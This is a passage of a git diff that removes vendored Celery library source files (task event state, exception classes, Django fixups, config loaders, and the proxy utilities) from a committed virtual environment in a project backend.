== 'sent' - try: - task, task_created = get_task(uuid), False - except KeyError: - task = tasks[uuid] = Task(uuid, cluster_state=self) - task_created = True - if is_client_event: - task.client = hostname - else: - try: - worker = get_worker(hostname) - except KeyError: - worker = workers[hostname] = Worker(hostname) - task.worker = worker - if worker is not None and local_received: - worker.event(None, local_received, timestamp) - - origin = hostname if is_client_event else worker.id - - # remove oldest event if exceeding the limit. - heaps = len(taskheap) - if heaps + 1 > max_events_in_heap: - th_pop(0) - - # most events will be dated later than the previous. - timetup = timetuple(clock, timestamp, origin, ref(task)) - if heaps and timetup > taskheap[-1]: - th_append(timetup) - else: - insort(taskheap, timetup) - - if subject == 'received': - self.task_count += 1 - task.event(subject, timestamp, local_received, event) - task_name = task.name - if task_name is not None: - add_type(task_name) - if task_created: # add to tasks_by_type index - get_task_by_type_set(task_name).add(task) - get_task_by_worker_set(hostname).add(task) - if task.parent_id: - try: - parent_task = self.tasks[task.parent_id] - except KeyError: - self._add_pending_task_child(task) - else: - parent_task.children.add(task) - try: - _children = self._tasks_to_resolve.pop(uuid) - except KeyError: - pass - else: - task.children.update(_children) - - return (task, task_created), subject - return _event - - def _add_pending_task_child(self, task): - try: - ch = self._tasks_to_resolve[task.parent_id] - except KeyError: - ch = self._tasks_to_resolve[task.parent_id] = WeakSet() - ch.add(task) - - def rebuild_taskheap(self, timetuple=timetuple): - heap = self._taskheap[:] = [ - timetuple(t.clock, t.timestamp, t.origin, ref(t)) - for t in self.tasks.values() - ] - heap.sort() - - def itertasks(self, limit: Optional[int] = None): - for index, row in enumerate(self.tasks.items()): - yield row - if limit and index + 1 >= limit: - break - - def tasks_by_time(self, limit=None, reverse: bool = True): - """Generator yielding tasks ordered by time. - - Yields: - Tuples of ``(uuid, Task)``. - """ - _heap = self._taskheap - if reverse: - _heap = reversed(_heap) - - seen = set() - for evtup in islice(_heap, 0, limit): - task = evtup[3]() - if task is not None: - uuid = task.uuid - if uuid not in seen: - yield uuid, task - seen.add(uuid) - tasks_by_timestamp = tasks_by_time - - def _tasks_by_type(self, name, limit=None, reverse=True): - """Get all tasks by type. - - This is slower than accessing :attr:`tasks_by_type`, - but will be ordered by time. - - Returns: - Generator: giving ``(uuid, Task)`` pairs. - """ - return islice( - ((uuid, task) for uuid, task in self.tasks_by_time(reverse=reverse) - if task.name == name), - 0, limit, - ) - - def _tasks_by_worker(self, hostname, limit=None, reverse=True): - """Get all tasks by worker. - - Slower than accessing :attr:`tasks_by_worker`, but ordered by time. - """ - return islice( - ((uuid, task) for uuid, task in self.tasks_by_time(reverse=reverse) - if task.worker.hostname == hostname), - 0, limit, - ) - - def task_types(self): - """Return a list of all seen task types.""" - return sorted(self._seen_types) - - def alive_workers(self): - """Return a list of (seemingly) alive workers.""" - return (w for w in self.workers.values() if w.alive) - - def __repr__(self): - return R_STATE.format(self) - - def __reduce__(self): - return self.__class__, ( - self.event_callback, self.workers, self.tasks, None, - self.max_workers_in_memory, self.max_tasks_in_memory, - self.on_node_join, self.on_node_leave, - _serialize_Task_WeakSet_Mapping(self.tasks_by_type), - _serialize_Task_WeakSet_Mapping(self.tasks_by_worker), - ) - - -def _serialize_Task_WeakSet_Mapping(mapping): - return {name: [t.id for t in tasks] for name, tasks in mapping.items()} - - -def _deserialize_Task_WeakSet_Mapping(mapping, tasks): - mapping = mapping or {} - return {name: WeakSet(tasks[i] for i in ids if i in tasks) - for name, ids in mapping.items()} diff --git a/backend/venv/Lib/site-packages/celery/exceptions.py b/backend/venv/Lib/site-packages/celery/exceptions.py deleted file mode 100644 index 3203e9f4..00000000 --- a/backend/venv/Lib/site-packages/celery/exceptions.py +++ /dev/null @@ -1,312 +0,0 @@ -"""Celery error types. - -Error Hierarchy -=============== - -- :exc:`Exception` - - :exc:`celery.exceptions.CeleryError` - - :exc:`~celery.exceptions.ImproperlyConfigured` - - :exc:`~celery.exceptions.SecurityError` - - :exc:`~celery.exceptions.TaskPredicate` - - :exc:`~celery.exceptions.Ignore` - - :exc:`~celery.exceptions.Reject` - - :exc:`~celery.exceptions.Retry` - - :exc:`~celery.exceptions.TaskError` - - :exc:`~celery.exceptions.QueueNotFound` - - :exc:`~celery.exceptions.IncompleteStream` - - :exc:`~celery.exceptions.NotRegistered` - - :exc:`~celery.exceptions.AlreadyRegistered` - - :exc:`~celery.exceptions.TimeoutError` - - :exc:`~celery.exceptions.MaxRetriesExceededError` - - :exc:`~celery.exceptions.TaskRevokedError` - - :exc:`~celery.exceptions.InvalidTaskError` - - :exc:`~celery.exceptions.ChordError` - - :exc:`~celery.exceptions.BackendError` - - :exc:`~celery.exceptions.BackendGetMetaError` - - :exc:`~celery.exceptions.BackendStoreError` - - :class:`kombu.exceptions.KombuError` - - :exc:`~celery.exceptions.OperationalError` - - Raised when a transport connection error occurs while - sending a message (be it a task, remote control command error). - - .. note:: - This exception does not inherit from - :exc:`~celery.exceptions.CeleryError`. - - **billiard errors** (prefork pool) - - :exc:`~celery.exceptions.SoftTimeLimitExceeded` - - :exc:`~celery.exceptions.TimeLimitExceeded` - - :exc:`~celery.exceptions.WorkerLostError` - - :exc:`~celery.exceptions.Terminated` -- :class:`UserWarning` - - :class:`~celery.exceptions.CeleryWarning` - - :class:`~celery.exceptions.AlwaysEagerIgnored` - - :class:`~celery.exceptions.DuplicateNodenameWarning` - - :class:`~celery.exceptions.FixupWarning` - - :class:`~celery.exceptions.NotConfigured` - - :class:`~celery.exceptions.SecurityWarning` -- :exc:`BaseException` - - :exc:`SystemExit` - - :exc:`~celery.exceptions.WorkerTerminate` - - :exc:`~celery.exceptions.WorkerShutdown` -""" - -import numbers - -from billiard.exceptions import SoftTimeLimitExceeded, Terminated, TimeLimitExceeded, WorkerLostError -from click import ClickException -from kombu.exceptions import OperationalError - -__all__ = ( - 'reraise', - # Warnings - 'CeleryWarning', - 'AlwaysEagerIgnored', 'DuplicateNodenameWarning', - 'FixupWarning', 'NotConfigured', 'SecurityWarning', - - # Core errors - 'CeleryError', - 'ImproperlyConfigured', 'SecurityError', - - # Kombu (messaging) errors. - 'OperationalError', - - # Task semi-predicates - 'TaskPredicate', 'Ignore', 'Reject', 'Retry', - - # Task related errors. - 'TaskError', 'QueueNotFound', 'IncompleteStream', - 'NotRegistered', 'AlreadyRegistered', 'TimeoutError', - 'MaxRetriesExceededError', 'TaskRevokedError', - 'InvalidTaskError', 'ChordError', - - # Backend related errors. - 'BackendError', 'BackendGetMetaError', 'BackendStoreError', - - # Billiard task errors. - 'SoftTimeLimitExceeded', 'TimeLimitExceeded', - 'WorkerLostError', 'Terminated', - - # Deprecation warnings (forcing Python to emit them). - 'CPendingDeprecationWarning', 'CDeprecationWarning', - - # Worker shutdown semi-predicates (inherits from SystemExit). - 'WorkerShutdown', 'WorkerTerminate', - - 'CeleryCommandException', -) - -from celery.utils.serialization import get_pickleable_exception - -UNREGISTERED_FMT = """\ -Task of kind {0} never registered, please make sure it's imported.\ -""" - - -def reraise(tp, value, tb=None): - """Reraise exception.""" - if value.__traceback__ is not tb: - raise value.with_traceback(tb) - raise value - - -class CeleryWarning(UserWarning): - """Base class for all Celery warnings.""" - - -class AlwaysEagerIgnored(CeleryWarning): - """send_task ignores :setting:`task_always_eager` option.""" - - -class DuplicateNodenameWarning(CeleryWarning): - """Multiple workers are using the same nodename.""" - - -class FixupWarning(CeleryWarning): - """Fixup related warning.""" - - -class NotConfigured(CeleryWarning): - """Celery hasn't been configured, as no config module has been found.""" - - -class SecurityWarning(CeleryWarning): - """Potential security issue found.""" - - -class CeleryError(Exception): - """Base class for all Celery errors.""" - - -class TaskPredicate(CeleryError): - """Base class for task-related semi-predicates.""" - - -class Retry(TaskPredicate): - """The task is to be retried later.""" - - #: Optional message describing context of retry. - message = None - - #: Exception (if any) that caused the retry to happen. - exc = None - - #: Time of retry (ETA), either :class:`numbers.Real` or - #: :class:`~datetime.datetime`. - when = None - - def __init__(self, message=None, exc=None, when=None, is_eager=False, - sig=None, **kwargs): - from kombu.utils.encoding import safe_repr - self.message = message - if isinstance(exc, str): - self.exc, self.excs = None, exc - else: - self.exc, self.excs = get_pickleable_exception(exc), safe_repr(exc) if exc else None - self.when = when - self.is_eager = is_eager - self.sig = sig - super().__init__(self, exc, when, **kwargs) - - def humanize(self): - if isinstance(self.when, numbers.Number): - return f'in {self.when}s' - return f'at {self.when}' - - def __str__(self): - if self.message: - return self.message - if self.excs: - return f'Retry {self.humanize()}: {self.excs}' - return f'Retry {self.humanize()}' - - def __reduce__(self): - return self.__class__, (self.message, self.exc, self.when) - - -RetryTaskError = Retry # XXX compat - - -class Ignore(TaskPredicate): - """A task can raise this to ignore doing state updates.""" - - -class Reject(TaskPredicate): - """A task can raise this if it wants to reject/re-queue the message.""" - - def __init__(self, reason=None, requeue=False): - self.reason = reason - self.requeue = requeue - super().__init__(reason, requeue) - - def __repr__(self): - return f'reject requeue={self.requeue}: {self.reason}' - - -class ImproperlyConfigured(CeleryError): - """Celery is somehow improperly configured.""" - - -class SecurityError(CeleryError): - """Security related exception.""" - - -class TaskError(CeleryError): - """Task related errors.""" - - -class QueueNotFound(KeyError, TaskError): - """Task routed to a queue not in ``conf.queues``.""" - - -class IncompleteStream(TaskError): - """Found the end of a stream of data, but the data isn't complete.""" - - -class NotRegistered(KeyError, TaskError): - """The task is not registered.""" - - def __repr__(self): - return UNREGISTERED_FMT.format(self) - - -class AlreadyRegistered(TaskError): - """The task is already registered.""" - # XXX Unused - - -class TimeoutError(TaskError): - """The operation timed out.""" - - -class MaxRetriesExceededError(TaskError): - """The tasks max restart limit has been exceeded.""" - - def __init__(self, *args, **kwargs): - self.task_args = kwargs.pop("task_args", []) - self.task_kwargs = kwargs.pop("task_kwargs", dict()) - super().__init__(*args, **kwargs) - - -class TaskRevokedError(TaskError): - """The task has been revoked, so no result available.""" - - -class InvalidTaskError(TaskError): - """The task has invalid data or ain't properly constructed.""" - - -class ChordError(TaskError): - """A task part of the chord raised an exception.""" - - -class CPendingDeprecationWarning(PendingDeprecationWarning): - """Warning of pending deprecation.""" - - -class CDeprecationWarning(DeprecationWarning): - """Warning of deprecation.""" - - -class WorkerTerminate(SystemExit): - """Signals that the worker should terminate immediately.""" - - -SystemTerminate = WorkerTerminate # XXX compat - - -class WorkerShutdown(SystemExit): - """Signals that the worker should perform a warm shutdown.""" - - -class BackendError(Exception): - """An issue writing or reading to/from the backend.""" - - -class BackendGetMetaError(BackendError): - """An issue reading from the backend.""" - - def __init__(self, *args, **kwargs): - self.task_id = kwargs.get('task_id', "") - - def __repr__(self): - return super().__repr__() + " task_id:" + self.task_id - - -class BackendStoreError(BackendError): - """An issue writing to the backend.""" - - def __init__(self, *args, **kwargs): - self.state = kwargs.get('state', "") - self.task_id = kwargs.get('task_id', "") - - def __repr__(self): - return super().__repr__() + " state:" + self.state + " task_id:" + self.task_id - - -class CeleryCommandException(ClickException): - """A general command exception which stores an exit code.""" - - def __init__(self, message, exit_code): - super().__init__(message=message) - self.exit_code = exit_code diff --git a/backend/venv/Lib/site-packages/celery/fixups/__init__.py b/backend/venv/Lib/site-packages/celery/fixups/__init__.py deleted file mode 100644 index c565ca34..00000000 --- a/backend/venv/Lib/site-packages/celery/fixups/__init__.py +++ /dev/null @@ -1 +0,0 @@ -"""Fixups.""" diff --git a/backend/venv/Lib/site-packages/celery/fixups/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/fixups/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index cbccf921..00000000 Binary files a/backend/venv/Lib/site-packages/celery/fixups/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/fixups/__pycache__/django.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/fixups/__pycache__/django.cpython-311.pyc deleted file mode 100644 index 28c3e593..00000000 Binary files a/backend/venv/Lib/site-packages/celery/fixups/__pycache__/django.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/fixups/django.py b/backend/venv/Lib/site-packages/celery/fixups/django.py deleted file mode 100644 index b3549949..00000000 --- a/backend/venv/Lib/site-packages/celery/fixups/django.py +++ /dev/null @@ -1,218 +0,0 @@ -"""Django-specific customization.""" -import os -import sys -import warnings -from datetime import datetime, timezone -from importlib import import_module -from typing import IO, TYPE_CHECKING, Any, List, Optional, cast - -from kombu.utils.imports import symbol_by_name -from kombu.utils.objects import cached_property - -from celery import _state, signals -from celery.exceptions import FixupWarning, ImproperlyConfigured - -if TYPE_CHECKING: - from types import ModuleType - from typing import Protocol - - from django.db.backends.base.base import BaseDatabaseWrapper - from django.db.utils import ConnectionHandler - - from celery.app.base import Celery - from celery.app.task import Task - - class DjangoDBModule(Protocol): - connections: ConnectionHandler - - -__all__ = ('DjangoFixup', 'fixup') - -ERR_NOT_INSTALLED = """\ -Environment variable DJANGO_SETTINGS_MODULE is defined -but Django isn't installed. Won't apply Django fix-ups! -""" - - -def _maybe_close_fd(fh: IO) -> None: - try: - os.close(fh.fileno()) - except (AttributeError, OSError, TypeError): - # TypeError added for celery#962 - pass - - -def _verify_django_version(django: "ModuleType") -> None: - if django.VERSION < (1, 11): - raise ImproperlyConfigured('Celery 5.x requires Django 1.11 or later.') - - -def fixup(app: "Celery", env: str = 'DJANGO_SETTINGS_MODULE') -> Optional["DjangoFixup"]: - """Install Django fixup if settings module environment is set.""" - SETTINGS_MODULE = os.environ.get(env) - if SETTINGS_MODULE and 'django' not in app.loader_cls.lower(): - try: - import django - except ImportError: - warnings.warn(FixupWarning(ERR_NOT_INSTALLED)) - else: - _verify_django_version(django) - return DjangoFixup(app).install() - return None - - -class DjangoFixup: - """Fixup installed when using Django.""" - - def __init__(self, app: "Celery"): - self.app = app - if _state.default_app is None: - self.app.set_default() - self._worker_fixup: Optional["DjangoWorkerFixup"] = None - - def install(self) -> "DjangoFixup": - # Need to add project directory to path. - # The project directory has precedence over system modules, - # so we prepend it to the path. - sys.path.insert(0, os.getcwd()) - - self._settings = symbol_by_name('django.conf:settings') - self.app.loader.now = self.now - - if not self.app._custom_task_cls_used: - self.app.task_cls = 'celery.contrib.django.task:DjangoTask' - - signals.import_modules.connect(self.on_import_modules) - signals.worker_init.connect(self.on_worker_init) - return self - - @property - def worker_fixup(self) -> "DjangoWorkerFixup": - if self._worker_fixup is None: - self._worker_fixup = DjangoWorkerFixup(self.app) - return self._worker_fixup - - @worker_fixup.setter - def worker_fixup(self, value: "DjangoWorkerFixup") -> None: - self._worker_fixup = value - - def on_import_modules(self, **kwargs: Any) -> None: - # call django.setup() before task modules are imported - self.worker_fixup.validate_models() - - def on_worker_init(self, **kwargs: Any) -> None: - self.worker_fixup.install() - - def now(self, utc: bool = False) -> datetime: - return datetime.now(timezone.utc) if utc else self._now() - - def autodiscover_tasks(self) -> List[str]: - from django.apps import apps - return [config.name for config in apps.get_app_configs()] - - @cached_property - def _now(self) -> datetime: - return symbol_by_name('django.utils.timezone:now') - - -class DjangoWorkerFixup: - _db_recycles = 0 - - def __init__(self, app: "Celery") -> None: - self.app = app - self.db_reuse_max = self.app.conf.get('CELERY_DB_REUSE_MAX', None) - self._db = cast("DjangoDBModule", import_module('django.db')) - self._cache = import_module('django.core.cache') - self._settings = symbol_by_name('django.conf:settings') - - self.interface_errors = ( - symbol_by_name('django.db.utils.InterfaceError'), - ) - self.DatabaseError = symbol_by_name('django.db:DatabaseError') - - def django_setup(self) -> None: - import django - django.setup() - - def validate_models(self) -> None: - from django.core.checks import run_checks - self.django_setup() - if not os.environ.get('CELERY_SKIP_CHECKS'): - run_checks() - - def install(self) -> "DjangoWorkerFixup": - signals.beat_embedded_init.connect(self.close_database) - signals.task_prerun.connect(self.on_task_prerun) - signals.task_postrun.connect(self.on_task_postrun) - signals.worker_process_init.connect(self.on_worker_process_init) - self.close_database() - self.close_cache() - return self - - def on_worker_process_init(self, **kwargs: Any) -> None: - # Child process must validate models again if on Windows, - # or if they were started using execv. - if os.environ.get('FORKED_BY_MULTIPROCESSING'): - self.validate_models() - - # close connections: - # the parent process may have established these, - # so need to close them. - - # calling db.close() on some DB connections will cause - # the inherited DB conn to also get broken in the parent - # process so we need to remove it without triggering any - # network IO that close() might cause. - for c in self._db.connections.all(): - if c and c.connection: - self._maybe_close_db_fd(c) - - # use the _ version to avoid DB_REUSE preventing the conn.close() call - self._close_database(force=True) - self.close_cache() - - def _maybe_close_db_fd(self, c: "BaseDatabaseWrapper") -> None: - try: - with c.wrap_database_errors: - _maybe_close_fd(c.connection) - except self.interface_errors: - pass - - def on_task_prerun(self, sender: "Task", **kwargs: Any) -> None: - """Called before every task.""" - if not getattr(sender.request, 'is_eager', False): - self.close_database() - - def on_task_postrun(self, sender: "Task", **kwargs: Any) -> None: - # See https://groups.google.com/group/django-users/browse_thread/thread/78200863d0c07c6d/ - if not getattr(sender.request, 'is_eager', False): - self.close_database() - self.close_cache() - - def close_database(self, **kwargs: Any) -> None: - if not self.db_reuse_max: - return self._close_database() - if self._db_recycles >= self.db_reuse_max * 2: - self._db_recycles = 0 - self._close_database() - self._db_recycles += 1 - - def _close_database(self, force: bool = False) -> None: - for conn in self._db.connections.all(): - try: - if force: - conn.close() - else: - conn.close_if_unusable_or_obsolete() - except self.interface_errors: - pass - except self.DatabaseError as exc: - str_exc = str(exc) - if 'closed' not in str_exc and 'not connected' not in str_exc: - raise - - def close_cache(self) -> None: - try: - self._cache.close_caches() - except (TypeError, AttributeError): - pass diff --git a/backend/venv/Lib/site-packages/celery/loaders/__init__.py b/backend/venv/Lib/site-packages/celery/loaders/__init__.py deleted file mode 100644 index 730a1fa2..00000000 --- a/backend/venv/Lib/site-packages/celery/loaders/__init__.py +++ /dev/null @@ -1,18 +0,0 @@ -"""Get loader by name. - -Loaders define how configuration is read, what happens -when workers start, when tasks are executed and so on. -""" -from celery.utils.imports import import_from_cwd, symbol_by_name - -__all__ = ('get_loader_cls',) - -LOADER_ALIASES = { - 'app': 'celery.loaders.app:AppLoader', - 'default': 'celery.loaders.default:Loader', -} - - -def get_loader_cls(loader): - """Get loader class by name/alias.""" - return symbol_by_name(loader, LOADER_ALIASES, imp=import_from_cwd) diff --git a/backend/venv/Lib/site-packages/celery/loaders/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/loaders/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 73216d70..00000000 Binary files a/backend/venv/Lib/site-packages/celery/loaders/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/loaders/__pycache__/app.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/loaders/__pycache__/app.cpython-311.pyc deleted file mode 100644 index ac6753af..00000000 Binary files a/backend/venv/Lib/site-packages/celery/loaders/__pycache__/app.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/loaders/__pycache__/base.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/loaders/__pycache__/base.cpython-311.pyc deleted file mode 100644 index 6dc9ee59..00000000 Binary files a/backend/venv/Lib/site-packages/celery/loaders/__pycache__/base.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/loaders/__pycache__/default.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/loaders/__pycache__/default.cpython-311.pyc deleted file mode 100644 index 7230a290..00000000 Binary files a/backend/venv/Lib/site-packages/celery/loaders/__pycache__/default.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/loaders/app.py b/backend/venv/Lib/site-packages/celery/loaders/app.py deleted file mode 100644 index c9784c50..00000000 --- a/backend/venv/Lib/site-packages/celery/loaders/app.py +++ /dev/null @@ -1,8 +0,0 @@ -"""The default loader used with custom app instances.""" -from .base import BaseLoader - -__all__ = ('AppLoader',) - - -class AppLoader(BaseLoader): - """Default loader used when an app is specified.""" diff --git a/backend/venv/Lib/site-packages/celery/loaders/base.py b/backend/venv/Lib/site-packages/celery/loaders/base.py deleted file mode 100644 index 01e84254..00000000 --- a/backend/venv/Lib/site-packages/celery/loaders/base.py +++ /dev/null @@ -1,278 +0,0 @@ -"""Loader base class.""" -import importlib -import os -import re -import sys -from datetime import datetime, timezone - -from kombu.utils import json -from kombu.utils.objects import cached_property - -from celery import signals -from celery.exceptions import reraise -from celery.utils.collections import DictAttribute, force_mapping -from celery.utils.functional import maybe_list -from celery.utils.imports import NotAPackage, find_module, import_from_cwd, symbol_by_name - -__all__ = ('BaseLoader',) - -_RACE_PROTECTION = False - -CONFIG_INVALID_NAME = """\ -Error: Module '{module}' doesn't exist, or it's not a valid \ -Python module name. -""" - -CONFIG_WITH_SUFFIX = CONFIG_INVALID_NAME + """\ -Did you mean '{suggest}'? -""" - -unconfigured = object() - - -class BaseLoader: - """Base class for loaders. - - Loaders handles, - - * Reading celery client/worker configurations. - - * What happens when a task starts? - See :meth:`on_task_init`. - - * What happens when the worker starts? - See :meth:`on_worker_init`. - - * What happens when the worker shuts down? - See :meth:`on_worker_shutdown`. - - * What modules are imported to find tasks? - """ - - builtin_modules = frozenset() - configured = False - override_backends = {} - worker_initialized = False - - _conf = unconfigured - - def __init__(self, app, **kwargs): - self.app = app - self.task_modules = set() - - def now(self, utc=True): - if utc: - return datetime.now(timezone.utc) - return datetime.now() - - def on_task_init(self, task_id, task): - """Called before a task is executed.""" - - def on_process_cleanup(self): - """Called after a task is executed.""" - - def on_worker_init(self): - """Called when the worker (:program:`celery worker`) starts.""" - - def on_worker_shutdown(self): - """Called when the worker (:program:`celery worker`) shuts down.""" - - def on_worker_process_init(self): - """Called when a child process starts.""" - - def import_task_module(self, module): - self.task_modules.add(module) - return self.import_from_cwd(module) - - def import_module(self, module, package=None): - return importlib.import_module(module, package=package) - - def import_from_cwd(self, module, imp=None, package=None): - return import_from_cwd( - module, - self.import_module if imp is None else imp, - package=package, - ) - - def import_default_modules(self): - responses = signals.import_modules.send(sender=self.app) - # Prior to this point loggers are not yet set up properly, need to - # check responses manually and reraised exceptions if any, otherwise - # they'll be silenced, making it incredibly difficult to debug. - for _, response in responses: - if isinstance(response, Exception): - raise response - return [self.import_task_module(m) for m in self.default_modules] - - def init_worker(self): - if not self.worker_initialized: - self.worker_initialized = True - self.import_default_modules() - self.on_worker_init() - - def shutdown_worker(self): - self.on_worker_shutdown() - - def init_worker_process(self): - self.on_worker_process_init() - - def config_from_object(self, obj, silent=False): - if isinstance(obj, str): - try: - obj = self._smart_import(obj, imp=self.import_from_cwd) - except (ImportError, AttributeError): - if silent: - return False - raise - self._conf = force_mapping(obj) - if self._conf.get('override_backends') is not None: - self.override_backends = self._conf['override_backends'] - return True - - def _smart_import(self, path, imp=None): - imp = self.import_module if imp is None else imp - if ':' in path: - # Path includes attribute so can just jump - # here (e.g., ``os.path:abspath``). - return symbol_by_name(path, imp=imp) - - # Not sure if path is just a module name or if it includes an - # attribute name (e.g., ``os.path``, vs, ``os.path.abspath``). - try: - return imp(path) - except ImportError: - # Not a module name, so try module + attribute. - return symbol_by_name(path, imp=imp) - - def _import_config_module(self, name): - try: - self.find_module(name) - except NotAPackage as exc: - if name.endswith('.py'): - reraise(NotAPackage, NotAPackage(CONFIG_WITH_SUFFIX.format( - module=name, suggest=name[:-3])), sys.exc_info()[2]) - raise NotAPackage(CONFIG_INVALID_NAME.format(module=name)) from exc - else: - return self.import_from_cwd(name) - - def find_module(self, module): - return find_module(module) - - def cmdline_config_parser(self, args, namespace='celery', - re_type=re.compile(r'\((\w+)\)'), - extra_types=None, - override_types=None): - extra_types = extra_types if extra_types else {'json': json.loads} - override_types = override_types if override_types else { - 'tuple': 'json', - 'list': 'json', - 'dict': 'json' - } - from celery.app.defaults import NAMESPACES, Option - namespace = namespace and namespace.lower() - typemap = dict(Option.typemap, **extra_types) - - def getarg(arg): - """Parse single configuration from command-line.""" - # ## find key/value - # ns.key=value|ns_key=value (case insensitive) - key, value = arg.split('=', 1) - key = key.lower().replace('.', '_') - - # ## find name-space. - # .key=value|_key=value expands to default name-space. - if key[0] == '_': - ns, key = namespace, key[1:] - else: - # find name-space part of key - ns, key = key.split('_', 1) - - ns_key = (ns and ns + '_' or '') + key - - # (type)value makes cast to custom type. - cast = re_type.match(value) - if cast: - type_ = cast.groups()[0] - type_ = override_types.get(type_, type_) - value = value[len(cast.group()):] - value = typemap[type_](value) - else: - try: - value = NAMESPACES[ns.lower()][key].to_python(value) - except ValueError as exc: - # display key name in error message. - raise ValueError(f'{ns_key!r}: {exc}') - return ns_key, value - return dict(getarg(arg) for arg in args) - - def read_configuration(self, env='CELERY_CONFIG_MODULE'): - try: - custom_config = os.environ[env] - except KeyError: - pass - else: - if custom_config: - usercfg = self._import_config_module(custom_config) - return DictAttribute(usercfg) - - def autodiscover_tasks(self, packages, related_name='tasks'): - self.task_modules.update( - mod.__name__ for mod in autodiscover_tasks(packages or (), - related_name) if mod) - - @cached_property - def default_modules(self): - return ( - tuple(self.builtin_modules) + - tuple(maybe_list(self.app.conf.imports)) + - tuple(maybe_list(self.app.conf.include)) - ) - - @property - def conf(self): - """Loader configuration.""" - if self._conf is unconfigured: - self._conf = self.read_configuration() - return self._conf - - -def autodiscover_tasks(packages, related_name='tasks'): - global _RACE_PROTECTION - - if _RACE_PROTECTION: - return () - _RACE_PROTECTION = True - try: - return [find_related_module(pkg, related_name) for pkg in packages] - finally: - _RACE_PROTECTION = False - - -def find_related_module(package, related_name): - """Find module in package.""" - # Django 1.7 allows for specifying a class name in INSTALLED_APPS. - # (Issue #2248). - try: - # Return package itself when no related_name. - module = importlib.import_module(package) - if not related_name and module: - return module - except ModuleNotFoundError: - # On import error, try to walk package up one level. - package, _, _ = package.rpartition('.') - if not package: - raise - - module_name = f'{package}.{related_name}' - - try: - # Try to find related_name under package. - return importlib.import_module(module_name) - except ModuleNotFoundError as e: - import_exc_name = getattr(e, 'name', None) - # If candidate does not exist, then return None. - if import_exc_name and module_name == import_exc_name: - return - - # Otherwise, raise because error probably originated from a nested import. - raise e diff --git a/backend/venv/Lib/site-packages/celery/loaders/default.py b/backend/venv/Lib/site-packages/celery/loaders/default.py deleted file mode 100644 index b49634c2..00000000 --- a/backend/venv/Lib/site-packages/celery/loaders/default.py +++ /dev/null @@ -1,42 +0,0 @@ -"""The default loader used when no custom app has been initialized.""" -import os -import warnings - -from celery.exceptions import NotConfigured -from celery.utils.collections import DictAttribute -from celery.utils.serialization import strtobool - -from .base import BaseLoader - -__all__ = ('Loader', 'DEFAULT_CONFIG_MODULE') - -DEFAULT_CONFIG_MODULE = 'celeryconfig' - -#: Warns if configuration file is missing if :envvar:`C_WNOCONF` is set. -C_WNOCONF = strtobool(os.environ.get('C_WNOCONF', False)) - - -class Loader(BaseLoader): - """The loader used by the default app.""" - - def setup_settings(self, settingsdict): - return DictAttribute(settingsdict) - - def read_configuration(self, fail_silently=True): - """Read configuration from :file:`celeryconfig.py`.""" - configname = os.environ.get('CELERY_CONFIG_MODULE', - DEFAULT_CONFIG_MODULE) - try: - usercfg = self._import_config_module(configname) - except ImportError: - if not fail_silently: - raise - # billiard sets this if forked using execv - if C_WNOCONF and not os.environ.get('FORKED_BY_MULTIPROCESSING'): - warnings.warn(NotConfigured( - 'No {module} module found! Please make sure it exists and ' - 'is available to Python.'.format(module=configname))) - return self.setup_settings({}) - else: - self.configured = True - return self.setup_settings(usercfg) diff --git a/backend/venv/Lib/site-packages/celery/local.py b/backend/venv/Lib/site-packages/celery/local.py deleted file mode 100644 index 34eafff3..00000000 --- a/backend/venv/Lib/site-packages/celery/local.py +++ /dev/null @@ -1,542 +0,0 @@ -"""Proxy/PromiseProxy implementation. - -This module contains critical utilities that needs to be loaded as -soon as possible, and that shall not load any third party modules. - -Parts of this module is Copyright by Werkzeug Team. -""" - -import operator -import sys -from functools import reduce -from importlib import import_module -from types import ModuleType - -__all__ = ('Proxy', 'PromiseProxy', 'try_import', 'maybe_evaluate') - -__module__ = __name__ # used by Proxy class body - - -def _default_cls_attr(name, type_, cls_value): - # Proxy uses properties to forward the standard - # class attributes __module__, __name__ and __doc__ to the real - # object, but these needs to be a string when accessed from - # the Proxy class directly. This is a hack to make that work. - # -- See Issue #1087. - - def __new__(cls, getter): - instance = type_.__new__(cls, cls_value) - instance.__getter = getter - return instance - - def __get__(self, obj, cls=None): - return self.__getter(obj) if obj is not None else self - - return type(name, (type_,), { - '__new__': __new__, '__get__': __get__, - }) - - -def try_import(module, default=None): - """Try to import and return module. - - Returns None if the module does not exist. - """ - try: - return import_module(module) - except ImportError: - return default - - -class Proxy: - """Proxy to another object.""" - - # Code stolen from werkzeug.local.Proxy. - __slots__ = ('__local', '__args', '__kwargs', '__dict__') - - def __init__(self, local, - args=None, kwargs=None, name=None, __doc__=None): - object.__setattr__(self, '_Proxy__local', local) - object.__setattr__(self, '_Proxy__args', args or ()) - object.__setattr__(self, '_Proxy__kwargs', kwargs or {}) - if name is not None: - object.__setattr__(self, '__custom_name__', name) - if __doc__ is not None: - object.__setattr__(self, '__doc__', __doc__) - - @_default_cls_attr('name', str, __name__) - def __name__(self): - try: - return self.__custom_name__ - except AttributeError: - return self._get_current_object().__name__ - - @_default_cls_attr('qualname', str, __name__) - def __qualname__(self): - try: - return self.__custom_name__ - except AttributeError: - return self._get_current_object().__qualname__ - - @_default_cls_attr('module', str, __module__) - def __module__(self): - return self._get_current_object().__module__ - - @_default_cls_attr('doc', str, __doc__) - def __doc__(self): - return self._get_current_object().__doc__ - - def _get_class(self): - return self._get_current_object().__class__ - - @property - def __class__(self): - return self._get_class() - - def _get_current_object(self): - """Get current object. - - This is useful if you want the real - object behind the proxy at a time for performance reasons or because - you want to pass the object into a different context. - """ - loc = object.__getattribute__(self, '_Proxy__local') - if not hasattr(loc, '__release_local__'): - return 